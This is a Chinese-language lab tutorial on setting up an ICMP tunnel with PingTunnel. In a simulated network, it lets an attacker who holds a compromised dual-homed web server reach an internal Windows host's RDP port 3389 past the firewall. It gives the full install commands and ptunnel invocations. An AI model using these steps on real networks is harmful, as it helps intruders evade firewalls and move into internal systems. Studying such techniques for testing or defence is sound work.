ICMP隧道簡單實用,是一個比較特殊的協議。在一般的通信協議里,如果兩台設備要進行通信,肯定需要開放端口,而在ICMP協議下就不需要。最常見的ping命令就是利用的ICMP協議,攻擊者可以利用命令行得到比回復更多的ICMP請求。在通常情況下,每個ping命令都有相應的回復與請求。
在一些網絡環境中,如果攻擊者使用各類上層隧道(例如:HTTP隧道、DNS隧道、常規正/反向端口轉發等)進行的操作都失敗了,常常會通過ping命令訪問遠程計算機,嘗試建立ICMP隧道,將TCP/UDP數據封裝到ICMP的ping數據包中,從而穿過防火牆(防火牆一般不會屏蔽ping的數據包),實現不受限制的訪問訪問。
PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,為了避免隧道被濫用,還可以為隧道設置密碼。
1、環境搭建
192.168.100.X 模擬公網地址,192.168.118.x模擬內網地址。Web服務器模擬企業對外提供Web服務的機器,該機器可以通內網,同時向公網提供服務。內網存在一台Windows機器,Web服務器可以與該機器連接。現在我們獲取到了Web服務器的權限,想用ICMP搭建通往內網的隧道,連接內網Windows的3389端口。
准備kali(模擬公網vps)
准備web服務器(centos,模擬公網web,雙網卡)
准備內網主機(windows)
拓撲圖如下:
2、具體操作
(1)、對kali和webserver:
PingTunnel的安裝
#安裝libpcap的依賴環境
apt-get install byacc
apt-get install flex bison
#安裝libpcap依賴庫
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安裝PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
注:部分出錯原因:
安裝make: yum -y install gcc automake autoconf libtool make
(2)、在Webserver的操作
#啟動pingtunnel
ptunnel
#或(-x為隧道指定連接密碼)
ptunnel -x 123456
3、連接測試
ptunnel -p 192.168.100.232 -lp 8888 -da 192.168.118.131 -dp 3389
-p 指定ICMP隧道另一端的IP
-lp:指定本地監聽的端口
-da:指定要轉發的目標機器的IP
-dp:指定要轉發的目標機器的端口
-x:指定連接密碼
4、成功連接
本地windows PC遠程kali 8888端口,即成功連接內網windows3389